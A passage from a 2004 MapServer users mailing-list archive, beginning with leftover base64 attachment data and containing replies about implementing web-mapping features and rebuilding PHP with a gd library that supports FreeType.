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 ----------lldoemeixdgjjmjycago-- From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Mon Mar 1 08:32:54 2004 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Mon, 1 Mar 2004 11:32:54 -0500 Subject: [Mapserver-users] Researching the Capabilities of MapServer Message-ID: <7CDD7B94357FD5119E800002A537C46E0B8B7321@s5-ccr-r1.ccrs.nrcan.gc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C3FFAA.D924E29E Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Oh, one big ommission on my part: =20 Some fo the things you talk about could potentially need a Java applet: =20 The Distance measuring tool can be implemented on the client using a = Java applet, there are a few alreadin existence that probably provide this functionality (I don't know for sure, I have severe allergic reactions = to Java in the browser). Otherwise you can always go back to the server = and figure it out there obviously. Some people have implemented in = JavaScript, such as the Chameleon toolkit ( http://www.maptools.org ). =20 The buffer you're pretty much going to NEED a Java applet, as I've = never heard of any way to draw circles in a browser in any other = cross-browser way (There's also the possibility of using SVG or Flash interfaces = actually, but that may be less cross-platform). =20 J.F. -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Darren.Cope at statcan.ca Sent: Monday, March 01, 2004 8:57 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Researching the Capabilities of MapServer Hello all,=20 I am new to the world of MapServer, and have many questions, mostly regarding the capabilities of MapServer. At this point I am merely researching the possibility of using MapServer as a replacement for an existing ArcIMS setup. I have set up the basic Itasca demo, and have = it (mostly) working with some of our own data. From what I have seen, = basic .cgi MapServer is not able to perform many of the tasks necessary (see below). However, I am beginning to learn of the other available = projects (e.g. GeoServer, MapScript, etc.) that work with MapServer to do many = of these things. At this point, I have not used any of these other tools, = and no next to nothing about them (the MapServer that I have set up = currently allows only the basic .cgi functionality [pan, zoom, query] of the = Itasca Demo.) I would like to know if the features listed below are possible, = and if so, how I would go about implementing these features (e.g. do I need = PHP, dhtml, GeoServer, MapScript, etc., etc.) What I would like is a full featured application which can perform the following tasks:=20 - search based on text field(s) and then zoom to matching record(s) (e.g. enter a city name and a street name, and zoom to that street) - geocode addresses (e.g. interpolate positions along a street based on from/to address ranges and zoom to that point) - search based on topology (e.g. find where two streets intersect and zoom to that location)=20 - have an "identify" tool which pops up attributes of feature(s) = when they are clicked on=20 - measure distance between points selected by the user=20 - draw buffers around a clicked point based on a user defined = radius=20 - highlight a selected feature and retain its highlighting until = the user "clears" it=20 Also, I would appreciate a brief run-down of the applications which = work with MapServer (e.g. GeoServer, MapScript, etc.), how they relate to MapServer (and each other), and what each one does. I realize this email covers a broad range of topics, and is asking a = lot--so thanks in advance for helping me out with all these questions! Darren Cope=20 Statistics Canada/Statistique Canada=20 Geography Division/Division de la g=E9ographie=20 Jean Talon 3D5=20 Ottawa, Canada=20 (613) 951-6461=20 ------_=_NextPart_001_01C3FFAA.D924E29E Content-Type: text/html; charset="iso-8859-1" Researching the Capabilities of MapServer
Oh, one big ommission on my part:
 
Some fo the things you talk about could potentially need a Java applet:
 
The Distance measuring tool can be implemented on the client using a Java applet, there are a few alreadin existence that probably provide this functionality (I don't know for sure, I have severe allergic reactions to Java in the browser).  Otherwise you can always go back to the server and figure it out there obviously.  Some people have implemented in JavaScript, such as the Chameleon toolkit ( http://www.maptools.org ).
 
The buffer you're pretty much going to NEED a Java applet, as I've never heard of any way to draw circles in a browser in any other cross-browser way (There's also the possibility of using SVG or Flash interfaces actually, but that may be less cross-platform).
 
J.F.
-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Darren.Cope at statcan.ca
Sent: Monday, March 01, 2004 8:57 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Researching the Capabilities of MapServer

Hello all,

I am new to the world of MapServer, and have many questions, mostly regarding the capabilities of MapServer.  At this point I am merely researching the possibility of using MapServer as a replacement for an existing ArcIMS setup.  I have set up the basic Itasca demo, and have it (mostly) working with some of our own data.  From what I have seen, basic .cgi MapServer is not able to perform many of the tasks necessary (see below).  However, I am beginning to learn of the other available projects (e.g. GeoServer, MapScript, etc.) that work with MapServer to do many of these things.  At this point, I have not used any of these other tools, and no next to nothing about them (the MapServer that I have set up currently allows only the basic .cgi functionality [pan, zoom, query] of the Itasca Demo.)  I would like to know if the features listed below are possible, and if so, how I would go about implementing these features (e.g. do I need PHP, dhtml, GeoServer, MapScript, etc., etc.)

What I would like is a full featured application which can perform the following tasks:

    -       search based on text field(s) and then zoom to matching record(s)  (e.g. enter a city name and a street name, and zoom to that street)

    -       geocode addresses (e.g. interpolate positions along a street based on from/to address ranges and zoom to that point)

    -       search based on topology (e.g. find where two streets intersect and zoom to that location)
    -       have an "identify" tool which pops up attributes of feature(s) when they are clicked on
    -       measure distance between points selected by the user
    -       draw buffers around a clicked point based on a user defined radius
    -       highlight a selected feature and retain its highlighting until the user "clears" it

Also, I would appreciate a brief run-down of the applications which work with MapServer (e.g. GeoServer, MapScript, etc.), how they relate to MapServer (and each other), and what each one does.

I realize this email covers a broad range of topics, and is asking a lot--so thanks in advance for helping me out with all these questions!

Darren Cope
Statistics Canada/Statistique Canada
Geography Division/Division de la g?ographie
Jean Talon 3D5
Ottawa, Canada
(613) 951-6461

------_=_NextPart_001_01C3FFAA.D924E29E-- From zak-ms at hoppsan.org Mon Mar 1 09:20:01 2004 From: zak-ms at hoppsan.org (Zak James) Date: Mon, 1 Mar 2004 12:20:01 -0500 Subject: [Mapserver-users] libgd was not built with FreeType font support In-Reply-To: <20040301145030.5213.qmail@hm47.locaweb.com.br> References: <20040301145030.5213.qmail@hm47.locaweb.com.br> Message-ID: You need to recompile php to use your system's gd library rather than it's own internal one (which is the default). Mapserver has picked up your system gd, which is why cgi mode works. In php's configure, you need to do --with-gd= Watch configure's output closely to make sure it's actually getting the correct gd - if there's a problem it grabs the one in it's own ext folder. zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On Mar 1, 2004, at 9:50 AM, Eduardo Patto Kanegae wrote: > When trying to run $MapFile->draw() I'm getting: > "Warning: [MapServer Error]: msGetLabelSize(): libgd was not built > with FreeType font support in ..." > > The strange fact is that my CGI applications runs OK. > > --------------- > > I have MapServer CGI as > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > configured with : > $ ./configure --prefix=/usr/local --without-jpeg --without-tiff > --with-freetype --with-zlib --with-png --with-gd > --with-xpm=/usr/X11R6/lib > --with-pdf=/usr/local/mapserver-linux-distro/deps/PDFlib-5.0.2-Linux/ > bind/c --with-eppl --with-proj --with-threads --with-ogr --with-gdal > --without-ming --with-wfs --with-wfsclient --with-wms -with-wmsclient > --with-curl-config --with-curl --enable-ignore-missing-data > --disable-debug > --with-php=/usr/local/mapserver-linux-distro/deps/php-4.3.4 > > and PHPMapScript as > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > configured with: > $ ./configure --prefix=/usr/local --without-aolserver > --without-apache --enable-cli --disable-embed --without-nsapi > --without-pi3web --without-servlet --enable-cgi > --enable-force-cgi-redirect --enable-fastcgi --disable-debug > --with-config-file-path=/etc --enable-safe-mode --disable-sigchild > --enable-magic-quotes --enable-short-tags --disable-ipv6 > --without-openssl --with-zlib --without-bz2 --enable-calendar > --without-cpdflib --with-jpeg=/usr/local/bin > --with-tiff=/usr/local/lib --without-crack --with-curl=/usr/local/lib > --without-cyrus --without-db --enable-dba --without-gdbm > --without-ndbm --without-dba --without-db3 --without-db2 --without-dbm > --without-cdb --with-inifile --without-flatfile --enable-dbase > --enable-dbx --enable-dio --without-dom --enable-exif --without-fbsql > --without-fdftk --disable-filepro --without-fribidi--enable-ftp > --with-cg=/usr --with-jpeg-dir=/usr/local/bin --with-freetype=/usr/lib > --with-t1lib=/usr/include --with-gd --enable-gd-native-ttf --dis! > able-gd-jis-conv --with-gettext=/usr/lib --without-gmp > --without-hwapi --without-hyperwave --without-imap --without-kerberos > --without-imap-ssl --without-informix --without-ingress > --without-interbase --without-ircg --without-java --without-ldap > --enable-mbstring --disable-mregex --without-libmbfl --without-mcal > --without-mcrypt --without-mcve --with-mhash > --with-mime-magic--without-mnogosearch --without-msession > --without-msql --without-mssql --with-mysql --without-ncurses > --without-oci8 --without-adabas --without-sapdb --without-solid > --without-ibm-db2 --without-empress --without-birdstep > --without-custom-odbc --without-iodbc --without-esoob > --without-unixODBC --without-dbmaker --without-oracle > --disable-overload --without-ovrimos --disable-pcntl --with-pcre-regex > --without-pfpro --with-pgsql=/usr --disable-posix --without-pspell > --without-qtdom --without-libedit --without-readline --without-recode > --enable-session --with-mm --disable-shmop --without-snmp > --disable-ucd-! > snmp-hack --enable-sockets --with-regex=system --without-swf --without > > -sybase --without-sybase-ct --disable-sysvmsg --disable-sysvsem > --disable-sysvshm --disable-tokenizer --disable-wddx --enable-xml > --disable-xslt --without-sablot-js --without-yaz --disable-yp > --without-zip --with-pear > > thanks in advance. > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > > ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## > *************************************** > ***Fim da Mensagem / End of Message *** > *************************************** > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jbutcher at ci.collierville.tn.us Mon 